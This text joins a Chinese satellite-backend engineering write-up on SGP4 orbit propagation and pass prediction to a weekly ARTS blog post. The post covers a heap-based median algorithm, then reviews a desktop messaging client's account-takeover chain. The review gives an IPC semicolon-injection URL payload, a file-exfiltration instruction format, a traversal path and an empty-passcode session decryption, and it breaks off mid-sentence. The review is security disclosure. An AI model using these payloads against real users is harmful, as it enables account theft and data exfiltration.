OrbitState propagate(TleElements tle, Instant epoch); // 输出 TEME:位置 km / 速度 km·s⁻¹ default OrbitState propagate(TleElements tle) { return propagate(tle, null); } // 逐时刻采样,引擎无关;from/to 为空或 stepSeconds <= 0 直接抛 IllegalArgumentException default List<OrbitState> propagateTrack(TleElements tle, Instant from, Instant to, long stepSeconds) { ... } // 组合「惯性系逐时刻传播 + 坐标转换」,horizon 缺省 24h、step 缺省 60s List<GeoPoint> predictGroundTrack(TleElements tle, Instant from, Duration horizon, long stepSeconds); } ``` `TleElements` / `OrbitState` / `GeoPoint` 均为 record,D34 阶段 `propagate` 返回 TEME 参考系,ECEF 与经纬高转换留到 D35——接口先于实现定下来,才有后面换引擎、加转换路径、做灰度时的一次次「零调用方改动」。依赖侧新增 `org.orekit:orekit:13.0.1`(父 BOM 未管理,显式锁版本并注明随附 Hipparchus 3.x),同时删除了无引用的 `sat4j.version` 存根属性。 **选型清单里原本写着 `ootk-core`,这是一个需要记录的错误**:`ootk-core`(github.com/thkruz/ootk-core)是 **TypeScript/JavaScript 前端库**(`npm i ootk-core`),不可能作为后端 Maven 依赖;此前把它不可达归因为「Maven Central 404」是误判,真实原因是它从来不是后端制品。此外主库 `ootk` 采用 **AGPL 强 copyleft**,从合规角度也应规避。结论:后端直接使用 Orekit 原生 TLE 解析(`TLE` + `TLEPropagator.selectExtrapolator`,自动在 SGP4/SDP4 间选择),换引擎的成本由 `OrbitPropagator` 接口承担。 ### 5.2 数据依赖比想象中小一个数量级 常见误解是 SGP4 需要一大堆星历与地球定向文件。**纯 SGP4/TEME 传播只需要 `tai-utc.dat`(UTC-TAI 历史,7 行 IERS 格式)**。把它随包放进 `src/main/resources/orekit-data/`,引擎在无外部数据的机器上也能启动;完整 orekit-data 通过 `leo.orekit.data-path` 覆盖。 官方 orekit-data 归档位于反爬墙之后无法下载,因此这份 `tai-utc.dat` 是从解析器格式反推后手工重构的,并用一次性探针验证 SGP4 输出正确后固化。`OrekitConfig` 提供 `public static ensureInitialized(path)` 幂等守卫(CAS + 失败回退),让无 Spring 上下文的单测与应用共用同一初始化路径;打 jar 时采用「classpath 资源解包到临时目录」而非直接爬 classpath。 ### 5.3 异常收敛:脏 TLE 不能打穿业务链路 Orekit 解析格式非法的根数时抛的是 **`NumberFormatException`**,不是 `OrekitException`。只捕获后者意味着一条脏数据就能把接口打成 500。`OrekitOrbitPropagator` 包了一层 `parse()`,把两类异常一并收敛为 `BusinessException(orbit.tle.invalid)`,交由全局异常处理翻译成前端可展示的消息。 验收:`OrekitOrbitPropagatorTest` **5/5 全绿**——ISS TLE 解析成功、历元 +3600s 传播 `|r|≈6738.27 km` / `|v|≈7.689 km/s`、与预存参考分量偏差 <1 km、缺行/空白/非法均收敛为业务异常。 ### 5.4 D35:坐标转换、航迹 API 与仿真灰度 **坐标转换做成双路径 + 门面**,而不是二选一: | 实现 | 算法 | 依赖 | 角色 | | ------------------------ | ------------------------------------------------------------------ | --------------------- | -------------------------- | | `TemeEcefGeoConverter` | 手写 GMST 绕 Z 轴旋转 + WGS84 迭代测地解算(含 p→0 极点退化保护) | 零 EOP 依赖,离线可跑 | 默认基线 / 回退路径 | | `OrekitItrfGeoConverter` | `DataContext` ITRF(IERS_2010) ← TEME 正变换,自带完整 EOP | 需外部 orekit-data | 高保真增强 | | `GeoConverterFacade` | `isAvailable()` 判定 → 命中 ITRF 或回退 GMST,运行期异常亦回退 | — | `@Primary`,对上层屏蔽选择 | 门面标 `@Primary` 是必需的:`GeoConverter` 接口在容器里有三个实现,不指定优先级会直接触发多 Bean 歧义、应用启动失败。 **仿真接入采用开关灰度,默认不改变任何现有行为**:`SimulationConfig.useSgp4` 缺省 `false`,`calculatePosition` 按开关分支——关闭时维持原圆轨道/J2 近似(`activeOrbitModel = "CIRCULAR_APPROX"`),开启时走 `calculatePositionSgp4`(`activeOrbitModel = "SGP4"`)。 这里要纠正一个容易误传的说法:**旧近似逻辑一直内联在 `SimulationServiceImpl.calculatePosition` 里**(由 `altitude`/`inclination`/`orbitCount` 解析计算,J2 摄动可选);本轮新增的 `CircularOrbitApproximator` 是一个**引擎无关的对照基线**(以历元 r/v 构造同面圆,`ω = |v|/|r|`),专门服务于 `/compare` 接口输出「SGP4 相对旧模型的偏差」,不是历史遗留类,两者不要混为一谈。 合成星座没有真实 TLE,因此新增 `TleSynthesizer` 由轨道要素**反装配** 69 列合规两行根数(含 mod-2 校验位)。两个列格式陷阱值得记进 checklist:**发射序号列必须是 3 位数字**(写成 `00A` 会触发 Orekit `NumberFormatException`,最终格式 `%02d%03dA`);**年积日必须 1-based**(曾按 `(doy-1)` 计算导致 `000.xxx`)。合成 TLE 逐星缓存,避免每帧重复合成。 对外 API:`POST /orbit-predictions/tle`(带 `@AuditLog(UPLOAD_TLE)`,按 `satellite_id` upsert `orbit_prediction`,写 `tle_line1/2`、`epoch`、`prediction_source='SGP4'`,无 DDL 迁移)、`GET /orbit-predictions/{id}/track`、`GET /orbit-predictions/{id}/compare`。仿真报告新增一行 `Orbit Model: SGP4 (useSgp4=true; SGP4↔圆近似逐点误差报告见 /orbit-predictions/{id}/compare)`,把「当前算的是哪套模型」写进交付物本身。 验证:`TemeEcefGeoConverterTest` 4 + `TleSynthesizerTest` 3 + `OrbitPredictionServiceImplTest` 3 + `SimulationServiceImplSgp4GrayscaleTest` 2 = **12/12 全绿**,D34 回归 5/5 绿。 ### 5.5 D36:用独立实现交叉验证,并解决时刻对齐 引擎自证不构成验证。本轮引入的参考实现是 **`python-sgp4`**(Vallado 官方 C++ 实现的 Python 封装,CelesTrak/STK 同源),与本仓库的 Orekit(Java)**同源不同体**:同为 SGP4 标准实现,代码互不相干。参考矢量取自 Vallado《Revisiting Spacetrack Report #3》(AIAA-2006-6753) 官方验证集 `SGP4-VER.TLE` 自带的 TEME 状态矢量——它比随手挑的 ISS/NOAA 更权威,且天然覆盖 SDP4、极低近地点等边界样本。 **第一版对比的偏差量级不对,元凶不在算法而在时刻对齐。** Orekit 侧按「历元 + 绝对 UTC 时刻」传播,验证集侧参考矢量按 `tsince`(自历元整数分钟)给出,两侧对“同一时刻”的定义可以差到接近 1 秒。LEO 轨道 7.6 km/s 下,**0.78 s 的错位就是约 6 km**,直接击穿公里级容差。修法是放弃绝对时刻,改用「Orekit 解析出的 TLE 历元 + 整数分钟偏移」传播,与 `sgp4_tsince(minutes)` 严格对齐到同一整数分钟。对齐后误差立即回到米级: | 卫星(catnr / 模型) | 参考时刻 | maxΔpos | maxΔvel | 容差 | 结论 | | -------------------------- | ----------------- | ----------------------- | ------------- | ------ | ---- | | MV1`00005` / SGP4 | +0/+360/+1080 min | 0.002229 km(≈2.2 m) | 0.000002 km/s | ≤1 km | PASS | | DELTA-1 DEB`06251` / SGP4 | +0/+120/+1560 min | 0.000637 km(≈0.64 m) | 0.000001 km/s | ≤1 km | PASS | | MOLNIYA 2-14`08195` / SDP4 | +0/+120/+1440 min | 0.001723 km(≈1.7 m) | 0.000001 km/s | ≤2 km | PASS |  参考矢量的工程处理原则:**联网实测一次,随后固化为 Java 常量,测试永不联网**。一次性生成脚本用后即删。CI 因此完全可重复,不被外部服务可用性绑架。 边界用例三条(`Sgp4BoundaryCaseTest`):历元 +40 天远外推(早超 SGP4 推荐有效期)、`28350` COSMOS 2405 极低近地点(约 127 km)、SDP4 深空远地点量级。断言口径统一为「**不抛异常 + 分量有限 + 位置模在物理合理区间**」——边界样本本就在模型精度之外,要求的是不崩,不是准。 性能基线(`Sgp4PropagationPerformanceTest`):ISS TLE 单线程万次传播 **405 ms**,平均约 40.5 μs/次(含 TLE 解析 + SGP4 传播),DoD 要求 <2 s,宽松阈值 5 s。 D36 合计 **12/12 全绿**(对比 3 + 边界 3 + 性能 1 + D34 回归 5),**零生产代码改动**,纯测试与文档。  ## 6. M2-5 地面站过境预报:从「在哪」到「什么时候能看见」 ### 6.1 计算链与扫描状态机 过境判定的物理量是**站心仰角**。`PassPredictionServiceImpl` 的逐星扫描流程: ``` propagateTrack(tle, start, end, step) # 采样 TEME 轨迹 → geoConverter.toEcefKm(state) # 逐帧转 ECEF(含 EOP 或回退 GMST) → GroundLookAngles.compute(...) # 站心 ENU 解仰角/方位角/斜距 → 状态机扫描仰角跨越掩星角的段 # 产出 PassWindow ``` 几何基座 `GroundLookAngles` 是纯静态类(`stationEcefKm` 做 WGS84 大地→ECEF,`compute` 解站心 ENU),无 Spring 依赖、可离线单测。 扫描状态机的四个边界处理,是这类算法真正容易错的地方: 1. **AOS/LOS 不做整步长取整**,而是对跨越掩星角的前后两帧做**线性插值**(`crossingFraction` 夹到 [0,1],分母近零退化取 0.5),时刻精度因此不受 10 s 步长限制。 2. **方位角插值走最短角**:`delta = ((b - a + 540) % 360) - 180`。直接线性插值在 359°→1° 的过境上会算出 180°,AOS/LOS 方位角完全失真。 3. **窗口起点即已在站上方**时 AOS 取窗口起点,不因「没有上一帧」而漏掉这次过境。 4. **窗口结束仍在站上方**时以末帧收 LOS——宁可给一个偏短的 LOS,也不要吞掉一次即将发生的过境。 参数与保护:掩星角取站点 `minElevationAngle`、缺省 5°;步长缺省 10 s、**下限 5 s**(防止请求方用 1 s 步长把单次查询放大成数十万帧:168 h 按 1 s 步长是 60.48 万帧);单次窗口上限 **168 h**,超出直接拒绝(`pass.window.tooLarge`);结果按 AOS 升序。 ### 6.2 卫星集合与缓存 卫星集合不是全表逐星扫,而是经 `OrbitPredictionService.allLatestTleRefs()` 从 `orbit_prediction` 表归并——只纳入两行根数齐备、且按 `satelliteId` 取最新 `epoch` 的卫星。这既贴合业务语义(没 TLE 的卫星算不了),也避免了「先查全部卫星、再逐星查 TLE」的 N 次查询。单星模式走 `requireLatestTleRef`,缺失抛 `orbit.prediction.notFound`。 缓存用 `@Cacheable(value = "passPrediction")`,键为「站 + 卫星过滤 + 精确起止 epochSecond + 步长」,`RedisConfig.CACHE_TTL_OVERRIDES` 中该项 TTL 为 5 分钟(覆盖表由 4 项增至 5 项)。精确窗口入键导致命中率偏低,但无害且不会返回错数据;如果后续要做「按站+日」粗粒度缓存,需要额外处理窗口裁剪,当前不做。 对外 API:`GET /ground-stations/{id}/passes?start=&end=&satelliteId=&step=&page=&size=`,服务返回全量升序列表、控制器切片封装 `R<PageResult<PassWindow>>`,权限沿用既有 `/ground-stations` 口径,不新增鉴权面。 ### 6.3 精度校验:沿用同一套独立参考方法 DoD 要求过境窗口与公开工具偏差 <1 min。参考窗口由 `python-sgp4` + 相同 WGS84/GMST 几何离线实测一次后固化(ISS / 北京站 39.9042°N、116.4074°E、50 m、掩星 5°、历元 +24 h),单测断言 Orekit 结果的 AOS/LOS 偏差 **< 60 s**,另测非法窗口、超上限、无 TLE 单星抛异常、全站模式仅纳入有 TLE 卫星。 ### 6.4 EOP 增补:几何链必须含地球定向参数 初版过境的 ECEF 转换直连静态 `temeToEcefKm`(GMST),**不含 EOP**。按要求改为必须纳入 ΔUT1、极移 xp/yp、章动 Δψ——手搓 GMST 假设地球匀速自转,这三项被完全忽略。 改造后的链路:`PassPredictionServiceImpl` 注入 `GeoConverterFacade`,逐帧走 `toEcefKm`(ITRF 可用则含 EOP,否则回退 GMST);`GeoConverter` 接口补 `toEcefKm(OrbitState)`,两个实现各自提供。`application.yml` 中 `leo.orekit.use-itr` 默认由 `false` 改为 `true`(数据缺失时门面自动回退,离线仍安全),`OrekitConfig.ensureInitialized` 在入参为空时回退读系统属性,pom 为 surefire 增加 `systemPropertyVariables` 指向本地 `.orekit-data`,使单测与应用共用同一数据目录。 EOP 数据不入库:装配最小权威集——随包 `tai-utc.dat` + 从 USNO(`maia.usno.navy.mil/ser7`)取的 `finals2000A.all`(3.77 MB,覆盖 1973→2027,含 2024 历元)+ `itrf-versions.conf`,经 `data-path` 引用并由 `.gitignore` 屏蔽(`leo-backend/.orekit-data/`、`_orekit_probe/`)。 **排查耗时最长的问题是「EOP 到底生效没有」**,最终元凶是配置文件格式:旧镜像站提供的 `itrf-versions.conf` 是正则版本,Orekit 13.0.1 直接拒收,而失败的表现是**静默回退 GMST**,日志里只有一行告警。换用 13 版「简单前缀」格式后解决。附带结论:Orekit 13.0.1 内置 IAU2000A 章动级数,TEME→ITRF 不需要额外历表或 PN 文件。 基线随之用含 EOP 的 Orekit 重生成并固化进测试(ISS / 北京站,窗口 = 历元 2024-01-01T12:00Z 起 24 h,步长 10 s,共 7 段):P1 AOS ≈ `2024-01-01T12:06:07.558Z` / LOS ≈ `12:12:47.384Z` / maxEl 21.87°;P3 AOS ≈ `2024-01-02T04:32:59.697Z` / maxEl 74.15°。断言 AOS/LOS 偏差收敛到 **< 10 s**(`TOLERANCE_SECONDS = 10`),护栏平移上界 `EOP_SHIFT_MAX_SECONDS = 5`。 最后是一条**回归护栏**测试 `eopActuallyApplied_shiftsPassesBoundedlyVersusGmst`:同一窗口分别用 ITRF(含 EOP) 与手写 GMST 跑一遍,同时断言三件事—— - 过境**段数相等**(EOP 不应凭空造出或抹掉一次过境); - 逐段 AOS **平移 ≤ 5 s**(影响有界,不把几何整崩); - **`totalShift ≠ 0`**(证明 EOP 真的参与了计算,而不是配了个寂寞)。 三条合起来才构成「高保真路径既生效、又没跑飞」的完整证明。取舍也说明白:EOP 阶段没有第二个含 EOP 的独立引擎可比对,独立性仍保留在 SGP4/TEME 传播阶段,因此这里用「相对 GMST 非零但有界平移」防回归,而不是硬编一个假想标准答案。 验证:**21 全绿 / 0 跳过**(`PassPredictionServiceTest` 6 + `GroundLookAnglesTest` 6 + `TemeEcefGeoConverterTest` 4 + `OrekitOrbitPropagatorTest` 5),日志无 ITRF 回退告警。EOP 数据缺失的机器由 `assumeTrue` 探测跳过,不影响 CI。 ## 7. M2-5 前端:过境抽屉、GSL 窗口排程与时间口径 ### 7.1 过境预报抽屉 `views/station/PassPredictionDrawer.vue` 挂在站点卡片操作上,遵循项目既有的 `visible` / `update:visible` 组件约定。工具条提供 12/24/48 h 时间范围、卫星过滤(选项来自 `getSatelliteList`)、刷新;打开时**并发**拉取过境数据与 `getPassPredictionMeta`,右上角以 `el-tag` 两态显示当前几何链是否含 EOP。表格列:卫星 / AOS / LOS / 时长 / 最大仰角(按仰角分级着色)/ 最大仰角时刻 / AOS、LOS 方位角,一次取 `size: 200` 全量展示。  ### 7.2 GSL 窗口排程:为什么自绘而不是用日历 `views/link/PassScheduleView.vue`(路由 `/pass-schedule`,菜单项 + `Timer` 图标)是链路排程的实际工作面:行 = 地面站,横轴 = 时间,每段过境是一条着色区间,颜色按 `satelliteId % PALETTE` 取。 计划里写的是 Element Plus 日历,实现改为**自绘 CSS 时间线**,理由有三:一站多窗口在日历格内会严重重叠、无法横向比较各站负载;跨站冲突总览需要统一时间轴,日历的「按天分格」结构天然不适合;项目内 `OrbitView` 已有自绘 SVG 的先例,风格一致且零新依赖。 **冲突的定义是业务约束,不是技术现象**:同一地面站同一时刻只能跟踪一颗卫星,因此判定式为区间交叠 `aosA < losB && aosB < losA`,命中的双方标注红描边斜纹,站行头以 `el-badge` 计数。不同卫星在同一站重叠是排程问题,不是数据错误,所以标注但不隐藏。  其余细节:顶部时间刻度按跨度自适应(12/24/48 h → 2/3/6 h 间隔);多站数据用 `getAllGroundStations` × 逐站 `getStationPasses`,以 `Promise.allSettled` 并发,单站失败置 `hasError` 横幅而不阻塞其余站渲染;`LinkList.vue` 的 GSL 行新增「过境排程」按钮,按 `sourceType === 'GROUND_STATION'` 取站端 id 后 `router.push('/pass-schedule', { query: { stationId } })` 聚焦预选站。  ### 7.3 时间口径必须集中处理 后端 `PassWindow` 用 UTC `LocalDateTime` 序列化,且**不带偏移**;而全局 Jackson 的 date-format 可能输出 `yyyy-MM-dd HH:mm:ss`(空格分隔)。直接 `new Date(s)` 会按本地时区解析,过境时刻整体漂移 8 小时——这类 bug 在演示时看起来「数据是对的」,只有比对 AOS 与本地时间差才暴露。 处理方式是把口径集中到一个文件:`utils/time.ts` 统一扩展 dayjs `utc` 插件,`parseUtc` 先把空格归一化为 `T` 分隔再按「无偏移 UTC 墙钟」解析,`nowUtcIso` / `hoursAheadUtcIso` 生成请求参数(`toISOString()`,与后端 `@DateTimeFormat(ISO.DATE_TIME) Instant` 兼容),`fmtUtcTime` / `fmtUtcDateTime` / `fmtDuration` 负责展示,界面所有时间列统一标注 UTC。组件内不允许自行 `new Date()` 解析后端时间串。 ### 7.4 契约边界 EOP 元信息走**独立只读端点** `GET /ground-stations/pass-prediction/meta`(返回 `PassPredictionMeta(converter, eopApplied)`),而不是把字段塞进 `PassWindow` 或分页响应体——避免污染 D37 已过账的契约与单测。路径为两段式,刻意避开 `/{id}`、`/{id}/passes`、`/all` 的匹配冲突。前端展示的数据口径与后端 `/passes` 完全一致,不做任何本地重算。 验证:`vue-tsc --noEmit` 通过、`eslint .` 0 error(自动修复 14 处模板换行 warning)、`vite build` 绿并产出 `PassScheduleView` 独立分片;后端 21 条相关测试回归全绿。i18n 中英对称补齐 `menu.passSchedule`、`station.pass.*`、`passSchedule.*`、`link.viewSchedule`。 ## 8. 质量台账与未达标项 ### 8.1 各任务的验证档位 | 任务 | 验证档位 | 证据 | | -------- | ----------------------------- | ------------------------------------------------------------------------ | | D30 | 单测 + 静态 | 50/50 全绿;前端 lint / typecheck 0 error | | D31 | **真实运行时** | 8081 两个端点实测 200 及指标取值 | | D32 | 静态(运行时受阻) | 6 YAML + 看板 JSON 解析与结构断言 | | D33 | 单测 + 真实配置加载 + 静态 | 233/233;`LogbackSpringConfigTest` 走 `LogbackLoggingSystem`;YAML 22/22 | | D34–D36 | 单测 + 独立实现交叉验证 | 5/5、12/12、12/12;米级偏差与 405 ms 性能基线 | | D37 | 单测 + 独立参考窗口 + 护栏 | 21 全绿 0 跳过;AOS/LOS <10 s;三断言护栏 | | D38 | 类型 + Lint + 构建 + 后端回归 | `vue-tsc` / `eslint` 0 error、build 绿;后端 21 全绿 | ### 8.2 明确未达标与未完成的部分 一份可信的交付记录必须包含失败与缺口,本轮的清单如下: 1. **监控栈运行时验收部分推进**(D32/D33):本机以原生二进制拉起 Prometheus + Grafana,2.5、3.5、4.5.1 三节已附实测图(targets 抓 UP、大盘拉数据、4 条规则 health=ok);Alertmanager 9093 与 Loki+promtail 3100 因本机未起且 logback 无文件 appender,告警送达 webhook、Loki 按 traceId 检索两项仍待后续推进(同 D39 dev/prod profile 拆分同批推)。 2. **JaCoCo 全局门禁未达标**:覆盖率阈值 70%/80% 不降,D34–D38 均以「目标单测绿 + 编译通过」为验收档,`mvn verify` 在全量补测完成前失败属预期,转正安排在 M2 补测冲刺。 3. **prod JSON 日志未做真实启动验证**:以 `LogbackSpringConfigTest` 加载真实配置文件替代;容器当前默认 `local` profile(文本日志),切 `SPRING_PROFILES_ACTIVE=prod` 才出 JSON,而 profile 正式拆分属于 D39。 4. **dev/prod 配置分离未开始**(D39),`application-dev.yml` / `application-prod.yml` 与 compose 环境变量清单待交付。 5. **Cesium 渲染坐标系核对未做**:`/orbit-predictions/{id}/track`、`/compare` 两个接口目前无前端页面消费,3D 视图的坐标系一致性核对留待 SU5 真实 TLE 接入时一并验证。 6. **限流为固定窗口**,窗口边界 2× 阈值的已知特性未处理(见 1.3)。 7. **`GET /ground-stations/{id}/passes` 无独立鉴权收紧**,沿用既有 `/ground-stations` 口径;若过境窗口被认定为跨租户敏感数据,需另开任务。 ### 8.3 下一批 D39 多环境配置分离(dev/prod profile + compose 环境变量清单 + 弹性项 DU4 幂等或 S3 链路预算),D40 M2 DoD 回归(`mvn verify` + E2E + 告警闭环复测 + 监控栈状态检查)。M3 起进入产品化与性能:Excel 批量导入导出、虚拟滚动与图表采样降噪、路由级代码分割与首屏基线、统一错误码体系、暗黑模式与大屏。 ## 9. 可直接抄走的 10 条约定 1. **锁定/限流用 Redis TTL 表达状态**,不建表、不写定时任务;剩余时间向上取整回传,成功即清全部相关 key。 2. **限流维度取 `X-Forwarded-For` 首跳**,其次 `X-Real-IP`,最后 `remoteAddr`;整串入键会让计数维度分裂。 3. **防滥用的组件可以 fail-open,防越权的组件不行**——并把这个前提写进类注释,前提变了结论就要重估。 4. **Actuator 走独立管理端口也要显式放行 GET**:安全过滤链同样拦管理端口,「独立端口天然绕过」是错误假设。 5. **业务指标与告警规则同时设计**:先确定要写哪条 PromQL,再决定埋 Counter 还是 Gauge。停摆类告警必须有可微分的累计量。 6. **比率型告警要理解零流量时的 NaN 语义**;JVM 堆比率的分母必须写 `jvm_memory_max_bytes > 0` 排除无上限池。 7. **告警配抑制规则**:服务 down 时抑制同目标的资源/错误率/停摆告警,保住第一现场。 8. **日志三件套缺一不可**:traceId 过滤器 order 早于 Security、客户端传入值走白名单校验、`finally` 清 MDC。脱敏正则长键必须排在短键前。 9. **数值算法的验证必须找同源不同体的独立实现**,且比对前先对齐「什么时候」——亚秒级历元错位 × 7.6 km/s 就是公里级假误差。参考数据联网实测一次即固化为常量,测试永不联网。 10. **后端返回无偏移的 UTC 时间串时,前端必须集中定义解析口径**(一个 `utils/time.ts`),组件内禁止各自 `new Date()`;否则时区漂移看起来像数据正确。 ## 10. 结语 这一轮只引入了四个依赖(Orekit 13.0.1、actuator、micrometer-registry-prometheus、logstash-logback-encoder),其余工作全部是在已有技术栈上把“早该做完”的四件事收尾:把认证的攻击面收住、把服务运行状态变成可查的指标与可检索的日志、把轨道计算从近似换成可交叉验证的模型、把算出来的窗口推到能排程的位置。 如果全文只留一句可复用的结论:**每写一个阈值判断(锁定次数、5% 错误率、85% 堆、5° 掩星角、10 s 容差),同时写下它为何不是别的值。** 能写下理由的,日后才敢改;写不下的,就是下一个事故的定义域。细节存疑处欢迎交流,第 9 节的 10 条约定可直接拉到自家项目里逐条比对。 ## 开源地址 **Gitee:** https://gitee.com/zd_g/leo
ARTS 1011: 双堆动态对顶求中位数、IPC 注入与空密码串联接管账户与程序从不做决策
每周完成一个 ARTS: 至少做一个 leetcode 的算法题、阅读并点评至少一篇英文技术文章、学习至少一个技术技巧、分享一篇有观点和思考的技术文章。(也就是 Algorithm、Review、Tips、Share 简称 ARTS) ## Algorithm 这周写这个算法:https://leetcode.cn/problems/find-median-from-data-stream/description/?envType=study-plan-v2&envId=selected-coding-interview  最优解代码如下: 1)使用 PriorityQueue 分别维护两个部分,一边是较小部分的最大值,一边是较大部分的最小值。因为我们计算最小值,不需要全局有序,之需要部分有序就好了,并且这个 PriorityQueue 进行排序的时候还使用了完全二叉树,时间复杂度是 O(logN) 2)当我们一个数据过来的时候,需要先在小顶堆里面洗一下,拿到较大的一个数据放到 afterHeap 里面。并且需要注意,还需要维护一下这两个 Heap 的大小 3)当找到 middle 的时候,需要判断是奇数还是偶数。如果是奇数的话,那么只需要找到多的 Heap 的最大的一个就好了,也就是 beforeHeap 的最大的。如果是偶数的话,那么就需要两个 Heap 各自拿出来自己的堆顶元素,之后求平均值就好了。 ```java class MedianFinder { // 大顶堆:维护前半部分较小的数(堆顶是较小部分里的最大值) final PriorityQueue<Integer> beforeHeap = new PriorityQueue<>(Collections.reverseOrder()); // 小顶堆:维护后半部分较大的数(堆顶是较大部分里的最小值) final PriorityQueue<Integer> afterHeap = new PriorityQueue<>(); public MedianFinder() { } public void addNum(int num) { beforeHeap.offer(num); afterHeap.offer(beforeHeap.poll()); if (afterHeap.size() > beforeHeap.size()) { beforeHeap.offer(afterHeap.poll()); } } public double findMedian() { if (beforeHeap.size() > afterHeap.size()) { return beforeHeap.peek(); } else { return (beforeHeap.peek() + afterHeap.peek()) / 2.0; } } } ``` --- 下面是 PriorityQueue 比较的核心代码,我们一点一点说。 先看参数: 1)参数 k:是我们调用 offer 插入内容之前的 queue 的 size 2)参数 x:这个就是我们调用 offer 方法插入的内容 接下来看方法体,这个是使用数组进行完全二叉树,效率高还不需要维护指针,具体的动画演示放到了 https://siftup.vercel.app/ 我们来看一个相对复杂的案例,当前 queue 的数据是 [12,-3,8],如果把这个数据可视化成完全二叉树的话,那么就是下图的样式:  当我们插入 0 的时候,我们会先进行判断一下 parent 也就是 1 位置(内容是 12),判断是否小于 12 如果小于的话那就就会把 3 位置设置成 1 位置(也就是 12)的指,并且**不修改** 1 位置的内容。不用一个临时变量可以减少内存占用,简化代码。  之后 k 被赋值为 1 ,1 > 0 所以 while 循环继续,判断 parent 位置也就是 0 位置是否小于插入 x (这里是 0 ) 的值,此时是不小于的,所以直接 break 了。 结束 while 循环之后,我们把之前没有覆写的 k 位置,也就是第一次的 1 位置的内容设置为 x 也就是 0 ,至此方法结束  核心代码: ```java private void siftUpUsingComparator(int k, E x) { while (k > 0) { int parent = (k - 1) >>> 1; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0) break; queue[k] = e; k = parent; } queue[k] = x; } ``` ## Review 文章:https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/ 安全研究员 beaksec 披露了某社交软件 Windows 桌面端的一条完整漏洞利用链。攻击者只需诱导受害者点击一个经过重定向的恶意链接,即可在无任何确认弹窗的情况下,静默读取本地登录会话凭据并回传至攻击者控制的频道,从而一键接管受害者账户,全程无需受害者做任何额外操作。 **1. 单实例进程检测与本地 Socket IPC 序列化缺陷** 操作系统在遇到自定义协议链接时,会根据注册表启动对应的应用程序。如果某社交软件尚未运行,进程直接以单实例模式启动并解析 URL;但如果软件已经在后台运行,操作系统并不会识别已有实例,而是直接创建第二个独立进程。 新进程为了维持单实例约束,会尝试连接主进程在启动时就监听的本地 Socket。若连接成功,说明主实例已在运行,新进程便将待打开的 URL 传递给主实例后自行退出。 问题在于,Socket 传输的是字节流而非内存对象,新进程必须将内存中的 URL 对象序列化为文本。某社交软件采用了一套极为简单的文本协议:指令关键字 + 参数 + 分号 `;` 作为终止符。发送端代码如下: ```cpp // sandbox.cpp for (const auto &url : cRefStartUrls()) { commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';'; } ``` 正常链接序列化后如 `OPEN:app://x?a=1;`。而在主进程接收端,反序列化逻辑直接按照分号 `;` 切割字符串: ```cpp // sandbox.cpp for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) { auto cmd = base::StringViewMid(cmds, from, to - from); if (cmd.startsWith(u"OPEN:"_q)) { startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192)); } } ``` 由于传入的 URL 没有对分号 `;` 做转义,一旦链接本身包含分号——例如 `app://x?a=1;CMD:quit`——拼接后发送给 Socket 的文本就会变成 `OPEN:app://x?a=1;CMD:quit;`。接收端按分号切分后,这被解释为两条独立指令:`OPEN:app://x?a=1` 和 `CMD:quit`。这就是第一个关键缺陷:**未转义的 IPC 分隔符导致了命令注入**。 **2. 遗留内部特权协议 interpret: 与无鉴权文件外带** 虽然 `CMD:` 指令只支持 `show` 和 `quit` 两个操作,但 `OPEN:` 指令接受任意 URL,且对协议头没有白名单过滤。在客户端源码中,存在一个未向操作系统注册、仅在内部生效的私有协议 `interpret:`: ```cpp // application.cpp if (url.scheme() == u"interpret"_q) { interprets.append(url.path()); return false; } ``` 该协议最初供开发团队的自动化发版工具(`updates.py`)使用: ```python # 内部自动化发版脚本调用的命令 subprocess.call("app.exe -sendpath interpret://" + scriptPath + "/command.txt", shell=True) ``` 它读取一个文本指令文件,格式如下: ```text from: 1234567890 channel: 1987654321 file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe caption: TDesktop at 12.06.26: - Fixed a crash in the media viewer. ``` 底层的 `InterpretSendPath` 函数读取指令文件后,会将 `file:` 指定的文件自动发送到 `channel:` 指定的频道或超级群。更关键的是,`from:` 字段只在存在时才校验当前登录账号,**如果省略该字段,校验将被完全跳过**。整个过程既没有用户确认弹窗,也没有任何调用来源鉴权。结合前面的分号注入,外部链接即可触发 `app://x?a=1;OPEN:interpret:instructions.txt`,直接构成“远程读取本地任意文件并外带到指定频道”的攻击原语。 **3. 群组自动下载机制与相对路径确定性穿越** 要让 `interpret:` 读取指令文件,攻击者必须先将指令文件投放到受害者电脑上的已知路径。某社交软件桌面端默认配置下,群组中 8MB 以下的附件会**自动静默下载**到系统下载目录: ```text C:\Users\<user>\Downloads\某社交软件 Desktop\<file name> ``` 受害者无需主动点击,文件在群里一经接收便直接落盘。但攻击者仍然不知道受害者的 Windows 用户名 `<user>`。 然而 `interpret:` 协议支持相对路径,且以客户端数据目录(`%APPDATA%\某社交软件 Desktop`)为基准解析。在 Windows 上,`%APPDATA%` 对应 `C:\Users\<user>\AppData\Roaming`,从该目录往上跳 3 级恰好到达 `C:\Users\<user>`,再进入同级的 `Downloads` 目录即可。因此,攻击者无需猜测用户名,使用如下确定性的相对路径即可精确定位: ```text interpret:../../../Downloads/某社交软件%20Desktop/instructions.txt ``` **4. 本地会话 Key Wrapping 加密机制与空密码秒破** 既然能读取任意文件,那为何能直接接管账户?某社交软件并未明文保存本地会话凭据,而是采用了密钥包装(Key Wrapping)机制: - DEK(Data Encryption Key,数据加密密钥):高随机度长密钥,真正用于加密本地会话数据。 - KEK(Key Encryption Key,密钥加密密钥):通过密钥派生函数(KDF)结合用户本地密码和盐值计算得出,用来加密 DEK。 其解密流程的伪代码如下: ```python salt, encrypted_DEK = read("tdata/key_datas") passcode = user_passcode() # 如果未在设置中配置本地锁屏密码,则为空字符串 "" KEK = KDF(passcode, salt) DEK = decrypt(encrypted_DEK, KEK) session = decrypt(authorization_file, DEK) ``` 关键在于:某社交软件桌面端**默认未开启本地锁屏密码**,绝大多数用户的 `passcode` 就是空字符串 `""`。而盐值(salt)和加密后的 DEK 直接存放在 `tdata/key_datas` 文件中。只要获取到 `key_datas`,攻击者便可用空密码计算 KEK、解出 DEK,进而解密会话授权文件。 客户端的数据目录 `tdata` 结构如下: ```text tdata/ ├── key_datas # 盐值以及加密的 DEK ├── D877F783D5D3EF8Cs # 经 DEK 